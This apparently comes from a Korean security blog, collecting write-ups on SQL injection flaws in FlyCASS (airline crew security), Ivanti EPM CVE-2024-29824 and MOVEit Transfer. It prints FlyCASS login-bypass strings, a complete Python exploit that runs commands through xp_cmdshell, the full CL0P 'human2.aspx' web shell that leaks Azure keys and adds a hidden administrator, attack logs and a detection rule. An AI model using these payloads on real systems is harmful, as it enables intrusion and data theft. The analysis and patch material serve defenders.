1. 개요

- 해외 보안 연구원에 의해 공항 보안에 사용되는 KCM과 CASS 프로세스에서 SQL Injection 취약점 발견 [1]
- 취약점 악용에 성공할 시 관리자가 되어 항공사에 새로운 직원을 추가하는 등의 악성행위 가능
> 현재는 취약점이 해결되었음

 

2. 주요내용

2.1 KCM (Known Crewmember)

- 조종사와 승무원이 보안 검색을 우회할 수 있도록 해주는 TSA 프로그램
- 직원은 전용 레인을 사용하며, KCM 바코드 또는 직원 번호를 제시해 통과 여부를 결정

※ TSA (Transportation Security Administration) : 미국 교통안전청, 9.11 테러 이후 여객기 등의 운행 안전 필요성이 대두되어 설립

 

2.2 CASS (Cockpit Access Security System)

- 조종사가 조종실의 점프 시트를 사용할 수 있도록 하는 시스템

 

2.3 ARINC

- 항공, 공항, 국방, 정부, 수송분야에서 사용되는 표준과 시스템을 개발 및 제공하는 기업
- TSA와 계약하여 KCM 시스템을 운영하며, 조종사와 승무원이 KCM 상태를 확인할 수 있는 웹 사이트와 항공사 간 승인 요청을 라우팅하는 API 등을 운영
> 각 항공사는 KCM 및 CASS에 참여하기 위해 자체 인증 시스템을 운영하며, ARINC의 허브와 상호작용함
- TSA와 항공사는 CockpitAccessRequest와 CrewVerificationRequest 같은 요청을 ARINC로에 보낼 수 있으며, ARINC는 이를 적절한 항공사 시스템으로 라우팅

 

2.4 FlyCASS.com

- 소규모 항공사를 위해 KCM, CASS 운영하며, 모든 항공사가 자체 로그인 페이지를 가지고 있음
- 로그인 페이지에서 SQL Injection 취약점을 테스트(username에 ` 입력)한 결과 MySQL 오류 발생
sqlmap을 사용해 관리자로 FlyCASS에 로그인 성공
username : ' or '1'='1 / password : ') OR MD5('1')=MD5('1

※ sqlmap : SQL Injection을 감지 및 악용할 수 있는 Python 으로 작성된 오픈 소스 침투 테스트 도구 [2]

잘못된 SQL 문법 등의 경우 반환되는 에러 메시지를 통해 데이터베이스 정보를 획득할 수 있으므로, 에러 메시지를 출력하지 않도록 조치 필요

[사진 1] MySQL 오류

2.5 KCM, CASS 관리자

- FlyCASS에 SQL Injection 취약점을 악용해 관리자 권한으로 접근이 가능
직원(조종사, 승무원) 목록을 확인하거나 추가 인증 없이 새로운 직원을 추가할 수 있었음

[사진 2] 관리자 계정 접근 성공

- 테스트를 위해 Test TestOnly 직원 추가 및 KCM, CASS 접근 권한을 부여하는데 성공
SQL Injection에 기본적인 지식이 있는 누구나 KCM, CASS에 임의의 직원을 추가할 수 있는 심각한 문제

[사진 3] Test TestOnly 사용자 추가 성공

2.6 공개 및 기타 [3]

- 미국 국토안보부(United States Department of Homeland Security, DHS)에 문제를 공개
- 이후 FlyCASS는 KCM, CASS에서 비활성화
- TSA는 취약점을 부인하는 성명을 발표했으며, DHS는 초기에 신속하고 전문적으로 처리했으나, 이후 과정에서 상급 기관으로써의 역할을 제대로 수행하지 못함
- 비밀번호를 저장하는데 MD5 해시를 사용한 것 또한 문제

3. 참고

[1] https://ian.sh/tsa
[2] https://sqlmap.org/
[3] https://news.ycombinator.com/item?id=41392128

1. Ivanti Endpoint Manager(EPM) [1]

- 조직 내의 장치를 중앙에서 관리할 수 있는 엔터프라이즈 엔드포인트 관리 솔루션

 

2. 취약점

[사진 1] CVE-2024-29824 [2]

- 취약한 Ivanti EPM에서 발생하는 SQL Injection (CVSS: 9.6)

> 현재 해당 취약점이 활발히 익스플로잇되는 중으로, CISA는 신속히 패치를 권고

영향받는 버전
- Ivanti EPM 2022 SU5 이하 버전

 

2.1 주요 내용

- 취약점은 PatchBiz.dll 파일의 RecordGoodApp()이라는 함수에서 발생 [3]

> 해당 함수의 첫 번째 SQL 문이 잠재적으로 SQL Injection에 취약

> string.Format을 사용하여 goodApp.md5의 값을 SQL 쿼리에 삽입

> 공격자는 goodApp.md5 값에 SQL 구문 Injection 및 xp_cmdshell을 통해 원격 명령 실행

[사진 2] RecordGoodApp() SQL 문

- 취약점 흐름은 다음과 같음

[사진 3] 호출 흐름

2.2 PoC [4]

- /WSStatusEvents/EventHandler.asmx URL로 POST 요청
GoodApp=1|md5 값에 SQL Injection 구문 및 xp_cmdshell을 통해 원격 명령 실행

※ xp_cmdshell: SQL Server에서 운영체제 명령을 직접 실행할 수 있도록 해주는 확장 저장 프로시저

import argparse
import requests
import urllib3
import sys
from requests.exceptions import ReadTimeout
urllib3.disable_warnings()

XML_PAYLOAD = """<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
  <soap12:Body>
    <UpdateStatusEvents xmlns="http://tempuri.org/">
      <deviceID>string</deviceID>
      <actions>
        <Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string">
          <status>GoodApp=1|md5={}</status>
        </Action>
      </actions>
    </UpdateStatusEvents>
  </soap12:Body>
</soap12:Envelope>
"""

SQLI_PAYLOAD = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell '{}'--"


def get_cmd_arrays(cmd_file):
    try:
        with open(cmd_file, 'r') as f:
            cmds = f.read().split('\n')
            cmds = [c for c in cmds if c]
            return cmds
    except Exception as e:
        sys.stderr.write(f'[!] Unexpected error reading cmd file: {e}\n')
    return []

def exploit(url, command):
    h = {'Content-Type': 'application/soap+xml' }
    sqli_payload = SQLI_PAYLOAD.format(command)
    xml_payload = XML_PAYLOAD.format(sqli_payload)
    try:
        r = requests.post(f'{url}/WSStatusEvents/EventHandler.asmx', data=xml_payload, headers=h, verify=False, timeout=30)
        if r.status_code == 200:
            print(f'[+] Successfully sent payload to server')
        else:
            print(f'[-] Unexpected response from server')
    except TimeoutError:
        # Expected to timeout given it keeps connection open for process duration
        pass
    except ReadTimeout:
        # Expected to timeout given it keeps connection open for process duration
        pass

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='The base URL of the target', required=True)
    parser.add_argument('-c', '--cmd_file', help='The commands to execute blind', type=str, required=True)
    args = parser.parse_args()

    commands = get_cmd_arrays(args.cmd_file)
    for command in commands:
        exploit(args.url, command)

 

[사진 4] Exploit 예시

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [5]

> 해당 취약점을 포함한 5가지 원격 코드 실행 취약점 해결

 

- 탐지룰 적용

> 취약성 여부를 확인할 수 있는 스크립트 활용 [6]

alert tcp any any -> any any (msg:"CVE-2024-29824"; flow:to_server,established; content:"/WSStatusEvents/EventHandler.asmx"; content:"GoodApp=1|md5"; nocase; http_method POST;)

 

4. 참고

[1] https://www.ivanti.com/products/endpoint-manager
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-29824
[3] https://www.horizon3.ai/attack-research/attack-blogs/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability/
[4] https://github.com/horizon3ai/CVE-2024-29824
[5] https://forums.ivanti.com/s/article/KB-Security-Advisory-EPM-May-2024?language=en_US
[6] https://www.vicarius.io/vsociety/posts/cve-2024-29824-xdetection
[7] https://attackerkb.com/topics/c3Z5a612ns/cve-2024-29824
[8] https://www.bleepingcomputer.com/news/security/critical-ivanti-rce-flaw-with-public-exploit-now-used-in-attacks/
[9] https://thehackernews.com/2024/10/ivanti-endpoint-manager-flaw-actively.html

1. 개요

- CVE-2023-34362 이후 새로운 제로데이 취약점이 발견되는 중

 

2. 취약점

2.1 CVE-2023-35036

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-35036 [1]

- 취약한 버전의 MOVEit Transfer에서 발생하는 SQL Injection 취약점

- 공격자는 MOVEit Transfer 앱에 조작된 페이로드를 전달하여, 최종적으로 MOVEit DB 컨텐츠의 수정 및 공개가 가능

영향받는 저번
- MOVEit Transfer 2023.0.x (15.0.x)
- MOVEit Transfer 2022.1.x (14.1.x)
- MOVEit Transfer 2022.0.x (14.0.x)
- MOVEit Transfer 2021.1.x (13.1.x)
- MOVEit Transfer 2021.0.x (13.0.x)
- MOVEit Transfer 2020.1.x (12.1)
- MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전
- MOVEit Cloud

 

- 구체적인 PoC는 확인되지 않으나 아르헨티나 보안 연구원 MCKSys이 PoC 화면 공개 [2]

> 관련 내용 Github 업로드 예정

[사진 2] CVE-2023-35036 PoC 화면

 

- 현재 벤더사 홈페이를 통해 업데이트가 제공됨 [3]

> 해당 패치는 CVE-2023-34362 관련 패치를 포함한 패치

취약한 버전 패치 버전
MOVEit Transfer 2023.0.x (15.0.x) MOVEit Transfer 2023.0.2 (15.0.2)
MOVEit Transfer 2022.1.x (14.1.x) MOVEit Transfer 2022.1.6 (14.1.6)
MOVEit Transfer 2022.0.x (14.0.x) MOVEit Transfer 2022.0.5 (14.0.5)
MOVEit Transfer 2021.1.x (13.1.x) MOVEit Transfer 2021.1.5 (13.1.5)
MOVEit Transfer 2021.0.x (13.0.x) MOVEit Transfer 2021.0.7 (13.0.7)
MOVEit Transfer 2020.1.x (12.1) Progress 웹사이트 참고 [4]
MOVEit Transfer 2020.0.x (12.0) 및 이전 버전 가능한 상위 버전 [5]
MOVEit Cloud  14.1.6.97 또는 14.0.5.45
테스트버전: 15.0.2.39

 

2.2 CVE-2023-35708

[사진 3] https://nvd.nist.gov/vuln/detail/CVE-2023-35708 [6]

- 취약한 버전의 MOVEit Transfer에서 발생하는 SQL Injection 취약점

- 공격자는 권한 상승 및 이후 추가적인 익스플로잇이 가능해짐

- 구체적인 PoC는 확인되지 않음

영향받는 버전
- MOVEit Transfer 2023.0.x (15.0.x)  
- MOVEit Transfer 2022.1.x (14.1.x)  
- MOVEit Transfer 2022.0.x (14.0.x)  
- MOVEit Transfer 2021.1.x (13.1.x)  
- MOVEit Transfer 2021.0.x (13.0.x)  
- MOVEit Transfer 2020.1.x (12.1)  
- MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전
- MOVEit Cloud  

 

- 현재 벤더사 홈페이를 통해 업데이트가 제공됨 [7]

취약한 버전 패치 버전
MOVEit Transfer 2023.0.x (15.0.x) MOVEit Transfer 2023.03 (15.0.3)
MOVEit Transfer 2022.1.x (14.1.x) MOVEit Transfer 2022.1.7 (14.1.7)
MOVEit Transfer 2022.0.x (14.0.x) MOVEit Transfer 2022.0.6 (14.0.6)
MOVEit Transfer 2021.1.x (13.1.x) MOVEit Transfer 2021.1.6 (13.1.6)
MOVEit Transfer 2021.0.x (13.0.x) MOVEit Transfer 2021.0.8 (13.0.8)
MOVEit Transfer 2020.1.x (12.1) Progress 웹사이트 참고 [4]
MOVEit Transfer 2020.0.x (12.0) 및 이전 버전 가능한 상위 버전 [5]
MOVEit Cloud 14.1.6.97 또는 14.0.5.45
테스트버전: 15.0.2.39

 

- 업데이트 적용 불가 시 벤더사 권장 사항

> MOVEit Transfer의 HTTP 및 HTTPS 트래픽 비활성화

> 사용자의 경우 SFTP 및 FTP/s 프로토콜을 이용해 파일 전송 가능
> 관리자의 경우 원격 접속을 통해 서버에 접근한 후 hxxps://localhost/에 엑세스

 

3. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2023-35036
[2] https://twitter.com/MCKSysAr/status/1669175203690160128?ref_src=twsrc%5Etfw
[3] https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-CVE-2023-35036-June-9-2023
[4] https://community.progress.com/s/article/Vulnerability-May-2023-Fix-for-MOVEit-Transfer-2020-1-12-1
[5] https://community.progress.com/s/article/Upgrade-and-or-Migration-Guide-for-MOVEit-Automation-and-MOVEit-Transfer
[6] https://nvd.nist.gov/vuln/detail/CVE-2023-35708
[7] https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-15June2023

1. MOVEit Transfer [1]

- 중요한 데이터의 안전한 협업 및 자동화된 파일 전송기능을 제공하는 MFT(Managed File Transfer) 소프트웨어

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-34362#close [2]

- 취약한 버전의 MOVEit Transfer에서 발생하는 SQL Injection 취약점

- 해당 취약점을 악용해 웹쉘 업로드가 가능하며, 웹쉘을 통해 DB 조작, 정보 열람, 파일 다운로드 등 악성행위가 가능함

- MOVEit Transfer를 사용하는 기업은 전 세계 수천개가 넘으며, 이 중에는 BBC, 영국항공, 노바스코티아 주 정부가 포함되어 있음

- 현재 관련된 PoC 등은 확인되지 않으나, Huntress에서 관련 영상 공개 [3]

> 보안 업체가 Horizon3ai와 Rapid7가 각각 CVE-2023-34362의 익스플로잇 방법을 개발해 발표 [16][17][18]

영향받는 버전
- MOVEit Transfer 2023.0.0 (15.0)
- MOVEit Transfer 2022.1.x (14.1)
- MOVEit Transfer 2022.0.x (14.0)
- MOVEit Transfer 2021.1.x (13.1)
- MOVEit Transfer 2021.0.x (13.0)
- MOVEit Transfer 2020.1.x (12.1)
- MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전
- MOVEit Cloud

 

- 23.06.10 현재 인터넷에 노출된 MOVEit Transfer 인스턴스는 약 2,500개 [4]

[사진 2] Shodan 검색 결과

 

- GreyNoise에서는 CVE-2023-34362 관련 스캐너를 공개 [5]

[사진 3] GreyNoise의 CVE-2023-34362 관련 스캐너

 

2.1 CL0P 랜섬웨어 그룹 [6]

- MS에서 2023.06.02 CL0P 랜섬웨어 그룹의 소행으라고 밝혔으며, 06.05 CL0P이 블로그에 관련 성명을 게시

> 보안 외신 SC Media에 따르면 CL0P 랜섬웨어 그룹은 2021년부터 연구하였고, 그 기간 동안 여러 기업들을 해당 취약점을 이용해 침해

[사진 4] CL0P 랜섬웨어 그룹의 MOVEit 캠페인 관련 게시글

 

[사진 5] MOVEit 익스플로잇 타임라인

 

- 여러 보안 기업에서 분석한 결과 공격 흐름은 다음과 같음

① SQL Injection 취약점 악용

> SQL Injection 취약점을 이용해 웹쉘 human2.aspx 업로드

 

② 웹쉘 통신 및 악성 행위 수행 [7]

> "X-siLock-Comment" 헤더를 통해 웹쉘과 통신

헤더 옵션 설명
X-siLock-Step1 -1 - AppendHeader 응답 헤더를 통해 Azure 정보 유출
- MOVEit에 존재하는 모든 파일, 파일 소유자, 파일 사이즈 등의 정보를 GZIP으로 압축하여 반환
-2 - users 데이터베이스에서 RealName이 Health Check Service인 사용자 삭제
X-siLock-Step2
("folderid"  지정)
특정 값 지정 - 해당 값과 fileid값(X-siLock-Step3)이 지정 되었을 경우 해당 값으로 설정된 파일을 검색하고 GZIP으로 압축하여 반환
NULL - 해당 값과 fileid 값(X-siLock-Step3)이 지정되지 않을 경우(null) 권한 수준이 30인 기존 계정 식별을  시도하고, 그렇지 않을 경우 user 데이터베이스에 새로운 Health Check Service 관리용 사용자를 추가
X-siLock-Step3
("fileid" 값 지정)
특정 값 지정 - 해당 값과 folderid값(X-siLock-Step2)이 지정 되었을 경우 해당 값으로 설정된 파일을 검색하고 GZIP으로 압축하여 반환
NULL - 해당 값과 folderid값(X-siLock-Step2)이 지정되지 않을 경우(null) 권한 수준이 30인 기존 계정 식별을  시도하고, 그렇지 않을 경우 user 데이터베이스에 새로운 Health Check Service 관리용 사용자를 추가
<%@ Page Language="C#" %>

<%@ Import Namespace="MOVEit.DMZ.ClassLib" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Infrastructure.Data" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Files" %>
<%@ Import Namespace="MOVEit.DMZ.Cryptography.Contracts" %>
<%@ Import Namespace="MOVEit.DMZ.Core.Cryptography" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.FileSystem" %>
<%@ Import Namespace="MOVEit.DMZ.Core" %>
<%@ Import Namespace="MOVEit.DMZ.Core.Data" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Users" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Users.Enum" %>

<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Users" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>

<script runat="server">  
private Object connectDB() {
    var MySQLConnect = new DbConn(SystemSettings.DatabaseSettings());
    bool flag = false;
    string text = null;
    flag = MySQLConnect.Connect();
    if (!flag) {
        return text;
    }
    return MySQLConnect;
}
private Random random = new Random();
public string RandomString(int length) {
    const string chars = "abcdefghijklmnopqrstuvwxyz0123456789";
    return new string(Enumerable.Repeat(chars, length).Select(s => s[random.Next(s.Length)]).ToArray());
}
protected void Page_load(object sender, EventArgs e) {
    var pass = Request.Headers["X-siLock-Comment"];
    if (!String.Equals(pass, "REDACTEDREDACTEDREDACTEDREDACTED")) {
        Response.StatusCode = 404;
        return;
    }
    Response.AppendHeader("X-siLock-Comment", "comment");
    var instid = Request.Headers["X-siLock-Step1"];
    string x = null;
    DbConn MySQLConnect = null;
    var r = connectDB();
    if (r is String) {
        Response.Write("OpenConn: Could not connect to DB: " + r);
        return;
    }
    try {
        MySQLConnect = (DbConn) r;
        if (int.Parse(instid) == -1) {
            string azureAccout = SystemSettings.AzureBlobStorageAccount;
            string azureBlobKey = SystemSettings.AzureBlobKey;
            string azureBlobContainer = SystemSettings.AzureBlobContainer;
            Response.AppendHeader("AzureBlobStorageAccount", azureAccout);
            Response.AppendHeader("AzureBlobKey", azureBlobKey);
            Response.AppendHeader("AzureBlobContainer", azureBlobContainer);
            var query = "select f.id, f.instid, f.folderid, filesize, f.Name as Name, u.LoginName as uploader, fr.FolderPath , fr.name as fname from folders fr, files f left join users u on f.UploadUsername = u.Username where f.FolderID = fr.ID";
            string reStr = "ID,InstID,FolderID,FileSize,Name,Uploader,FolderPath,FolderName\n";
            var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
            if (!set.EOF) {
                while (!set.EOF) {
                    reStr += String.Format("{0},{1},{2},{3},{4},{5},{6},{7}\n", set["ID"].Value, set["InstID"].Value, set["FolderID"].Value, set["FileSize"].Value, set["Name"].Value, set["uploader"].Value, set["FolderPath"].Value, set["fname"].Value);
                    set.MoveNext();
                }
            }
            reStr += "----------------------------------\nFolderID,InstID,FolderName,Owner,FolderPath\n";
            String query1 = "select ID, f.instID, name, u.LoginName as owner, FolderPath from folders f left join users u on f.owner = u.Username";
            set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
            if (!set.EOF) {
                while (!set.EOF) {
                    reStr += String.Format("{0},{1},{2},{3},{4}\n", set["id"].Value, set["instID"].Value, set["name"].Value, set["owner"].Value, set["FolderPath"].Value);
                    set.MoveNext();
                }
            }
            reStr += "----------------------------------\nInstID,InstName,ShortName\n";
            query1 = "select id, name, shortname from institutions";
            set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
            if (!set.EOF) {
                while (!set.EOF) {
                    reStr += String.Format("{0},{1},{2}\n", set["ID"].Value, set["name"].Value, set["ShortName"].Value);
                    set.MoveNext();
                }
            }
            using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {
                using(var writer = new StreamWriter(gzipStream, Encoding.UTF8)) {
                    writer.Write(reStr);
                }
            }
        } else if (int.Parse(instid) == -2) {
            var query = String.Format("Delete FROM users WHERE RealName='Health Check Service'");
            new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
        } else {
            var fileid = Request.Headers["X-siLock-Step3"];
            var folderid = Request.Headers["X-siLock-Step2"];
            if (fileid == null && folderid == null) {
                SessionIDManager Manager = new SessionIDManager();
                string NewID = Manager.CreateSessionID(Context);
                bool redirected = false;
                bool IsAdded = false;
                Manager.SaveSessionID(Context, NewID, out redirected, out IsAdded);
                string username = "";
                var query = String.Format("SELECT Username FROM users WHERE InstID={0} AND Permission=30 AND Status='active' and Deleted=0", int.Parse(instid));
                var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
                var query1 = "";
                if (!set.EOF) {
                    username = (String) set["Username"].Value;
                } else {
                    username = RandomString(16);
                    query1 += String.Format("INSERT INTO users (Username, LoginName, InstID, Permission, RealName, CreateStamp, CreateUsername, HomeFolder, LastLoginStamp, PasswordChangeStamp) values ('{0}','{1}',{2},{3},'{4}', CURRENT_TIMESTAMP,'Automation',(select id from folders where instID=0 and FolderPath='/'), CURRENT_TIMESTAMP, CURRENT_TIMESTAMP);", username, "Health Check Service", int.Parse(instid), 30, "Health Check Service", "Automation", "Services");
                }
                query1 += String.Format("insert into activesessions (SessionID, Username, LastTouch, Timeout, IPAddress) VALUES ('{0}','{1}',CURRENT_TIMESTAMP, 9999, '127.0.0.1')", NewID, username);
                new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
            } else {
                DataFilePath dataFilePath = new DataFilePath(int.Parse(instid), int.Parse(folderid), fileid);
                SILGlobals siGlobs = new SILGlobals();
                siGlobs.FileSystemFactory.Create();
                EncryptedStream st = Encryption.OpenFileForDecryption(dataFilePath, siGlobs.FileSystemFactory.Create());
                Response.ContentType = "application/octet-stream";
                Response.AppendHeader("Content-Disposition", String.Format("attachment; filename={0}", fileid));
                using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {
                    st.CopyTo(gzipStream);
                }
            }
        }
    } catch (Exception) {
        Response.StatusCode = 404;
        return;
    } finally {
        MySQLConnect.Disconnect();
    }
    return;
}
</script>

 

- 시나리오를 기반으로 침해를 테스트한 시스템의 로그를 검토한 결과 해당 공격과 관련된 로그는 다음과 유사할 것으로 판단 됨

2023-05-30 17:05:50 192.168.###.### GET / - 443 - 5.252.190.181 user-agent - 200
2023-05-30 17:06:00 192.168.###.### POST /guestaccess.aspx - 443 - 5.252.191.14 user-agent - 200
2023-05-30 17:06:00 192.168.###.### POST /api/v1/token - 443 - 5.252.191.14 user-agent - 200
2023-05-30 17:06:02 192.168.###.### GET /api/v1/folders - 443 - 5.252.191.14 user-agent - 200
2023-05-30 17:06:02 192.168.###.### POST /api/v1/folders/605824912/files uploadType=resumable 443 - 5.252.191.14 user-agent - 200
2023-05-30 17:06:02 ::1 POST /machine2.aspx - 80 - ::1 CWinInetHTTPClient - 200
2023-05-30 17:06:02 192.168.###.### POST /moveitisapi/moveitisapi.dll action=m2 443 - 5.252.191.14 user-agent - 200
2023-05-30 17:06:04 192.168.###.### POST /guestaccess.aspx - 443 - 5.252.190.233 user-agent - 200
2023-05-30 17:06:08 192.168.###.### PUT /api/v1/folders/605824912/files uploadType=resumable&fileId=963061209 443 - 5.252.190.233 user-agent - 500
2023-05-30 17:06:08 ::1 POST /machine2.aspx - 80 - ::1 CWinInetHTTPClient - 200
2023-05-30 17:06:08 192.168.###.### POST /moveitisapi/moveitisapi.dll action=m2 443 - 5.252.190.233 user-agent - 200
2023-05-30 17:06:11 192.168.###.### POST /guestaccess.aspx - 443 - 5.252.190.116 user-agent - 200
2023-05-30 17:06:21 192.168.###.### GET /human2.aspx - 443 - 5.252.191.88 user-agent - 404

> moveitisapi.dll은 특정 헤더에서 요청될 경우 SQL 인젝션을 수행하기 위해 사용

⒜ 사용자 요청에 action=m2 매개변수를 포함하는 경우 action_m2 함수를 호출

⒝ 해당 함수는 전달받은 X-siLock-Transaction 헤더가 folder_add_by_path와 일치여부 확인 후 일치할 경우 machine2.aspx에 사용자 요청 포워딩

⒞ moveitisapi.dll에서 X-siLock-Transaction 헤더를 추출하여 folder_add_by_path와 값을 비교하는 함수에 버그 존재

⒟ 공격자는 xX-siLock-Transaction=folder_add_by_path 등의 헤더를 제공해 헤더가 잘못 추출되도록 유도

⒠ 잘못 추출된 헤더에 의해 machine2.aspx에 session_setvars 트랜잭션을 전달하여 SetAllSessionVarsFromHeaders() 함수 호출 및 구문 분석 진행

⒡ 이때, X-siLock-SessVar0: MyUsername: sysadmin은 세션의 사용자 이름을 sysadmin으로 설정하며, 변수를 설정할 수 있는 엑세스 권한이 부여

> guestaccess.aspx는 세션을 준비하고 CSRF 토큰 및 기타 필드 값을 추출하여 추가 액션을 수행하는 데 사용

⒜ 취약한 UserGetUsersWithEmailAddress() 함수는 트렌젝션이 secmsgpost인 경우 인증을 수행하지 않고 guestaccess.aspx 호출

※ 관련 함수 Call-chain

guestaccess.aspx -> SILGuestAccess -> SILGuestAccess.PerformAction() -> MsgEngine.MsgPostForGuest() -> UserEngine.UserGetSelfProvisionUserRecipsWithEmailAddress() -> UserEngine.UserGetUsersWithEmailAddress()

 

3. 대응방안

① 최신 업데이트 적용 [8]

> 23.06.12 보안 기업 Huntress에 의해 두 번째 제로데이 취약점(CVE-2023-35036)이 발견되었으며, 벤더사에서 관련 패치 적용

> 따라서, 서둘러 패치를 적용해야할 필요가 있음

※ MOVEit Cloud의 경우 클라우드 서비스이기 때문에 사용자들이 특별히 패치를 다운로드 받아 적용하지는 않아도 됨

※ 보안 업체의 연구에 따르면 해당 패치는 모든 경우에서 인수를 이스케이프 하므로, 취약점에 적절히 대응하는 것으로 확인

취약한 버전 패치 버전
MOVEit Transfer 2023.0.0(15.0) MOVEit Transfer 2023.0.1
MOVEit Transfer 2022.1.x(14.1) MOVEit Transfer 2022.1.5
MOVEit Transfer 2022.0.x(14.0) MOVEit Transfer 2022.0.4
MOVEit Transfer 2021.1.x(13.1) MOVEit Transfer 2021.1.4
MOVEit Transfer 2021.0.x(13.0) MOVEit Transfer 2021.0.6
MOVEit Transfer 2020.1.x(12.1) Progress 웹사이트 참고 [9]
MOVEit Transfer 2020.0.x(12.0) 및 이전 버전 가능한 상위 버전
MOVEit Cloud 14.1.4.94 또는 14.0.3.42

 

> machine2.aspx에서 사용하던 SetAllSessionVarsFromHeaders() 함수를 제거

  public bool SetAllSessionVarsFromHeaders(string ServerVars)
    {
      bool flag = true;
      string[] strArray = Strings.Split(ServerVars, "\r\n");
      int num1 = Strings.Len("X-siLock-SessVar");
      int num2 = Information.LBound((Array) strArray);
      int num3 = Information.UBound((Array) strArray);
      int index = num2;
      while (index <= num3)
      {
        if (Operators.CompareString(Strings.Left(strArray[index], num1), "X-siLock-SessVar", false) == 0)
        {
          int num4 = strArray[index].IndexOf(':', num1);
          if (num4 >= 0)
          {
            int num5 = strArray[index].IndexOf(':', checked (1 + num4));
            if (num5 > 0)
              this.SetValue(strArray[index].Substring(checked (2 + num4), checked (num5 - num4 - 2)), (object) strArray[index].Substring(checked (2 + num5)));
          }
        }
        checked { ++index; }
      }
      return flag;
    }

 

> 여러 위치에서 사용되는 복잡한 SQL 쿼리를 변경

 private void UserGetUsersWithEmailAddress(
-      ref ADORecordset MyRS,
+      ref IRecordset MyRS,
       string EmailAddress,
       string InstID,
       bool bJustEndUsers = false,
       bool bJustFirstEmail = false)
     {
-      object[] objArray;
-      bool[] flagArray;
-      object obj = NewLateBinding.LateGet((object) null, typeof (string), "Format", objArray = new object[4]
+      Func<string, string> func = new Func<string, string>(this.siGlobs.objWrap.Connection.FormatParameterName);
+      SQLBasicBuilder where = this._sqlBuilderUsers.SelectBuilder().AddColumnsToSelect("Username", "Permission", "LoginName", "Email").AddAndColumnEqualsToWhere<string>(nameof (InstID), InstID, true).AddAndColumnEqualsToWhere<int>("Deleted", 0);
+      if (bJustEndUsers)
+        where.AddAndColumnGreaterThanToWhere<int>("Permission", 10, true);
+      string str = this.siGlobs.objUtility.EscapeLikeForSQL(EmailAddress);
+      List<string> values = new List<string>()
       {
-        Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("SELECT Username, Permission, LoginName, Email FROM users WHERE InstID={0} AND Deleted=" + Conversions.ToString(0) + " "), Interaction.IIf(bJustEndUsers, (object) ("AND Permission>=" + Conversions.ToString(10) + " "), (object) "")), (object) "AND "), (object) "("), (object) "Email='{2}' OR "), (object) this.siGlobs.objUtility.BuildLikeForSQL("Email", "{1},%", bEscapeAndConvertMatchString: false)), Interaction.IIf(bJustFirstEmail, (object) "", (object) (" OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1}", bEscapeAndConvertMatchString: false) + " OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1},%", bEscapeAndConvertMatchString: false)))), (object) ") "), (object) "ORDER BY LoginName"),
-        (object) InstID,
-        (object) this.siGlobs.objUtility.EscapeLikeForSQL(EmailAddress),
-        (object) EmailAddress
-      }, (string[]) null, (Type[]) null, flagArray = new bool[4]
-      {
-        false,
-        true,
-        false,
-        true
-      });
-      if (flagArray[1])
-        InstID = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[1]), typeof (string));
-      if (flagArray[3])
-        EmailAddress = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[3]), typeof (string));
-      this.siGlobs.objWrap.DoReadQuery(Conversions.ToString(obj), ref MyRS, true);
+        string.Format("Email={0}", (object) func("Email")),
+        this.siGlobs.objUtility.BuildLikeForSQL("Email", func("FirstEmail"), bEscapeAndConvertMatchString: false, bQuoteMatchString: false)
+      };
+      where.WithParameter("Email", (object) EmailAddress);
+      where.WithParameter("FirstEmail", (object) string.Format("{0},%", (object) str));
+      if (!bJustFirstEmail)
+      {
+        values.Add(this.siGlobs.objUtility.BuildLikeForSQL("Email", func("MiddleEmail"), bEscapeAndConvertMatchString: false, bQuoteMatchString: false));
+        values.Add(this.siGlobs.objUtility.BuildLikeForSQL("Email", func("LastEmail"), bEscapeAndConvertMatchString: false, bQuoteMatchString: false));
+        where.WithParameter("MiddleEmail", (object) string.Format("%,{0},%", (object) str));
+        where.WithParameter("LastEmail", (object) string.Format("%,{0}", (object) str));
+      }
+      where.AddAndToWhere("(" + string.Join(" OR ", (IEnumerable<string>) values) + ")");
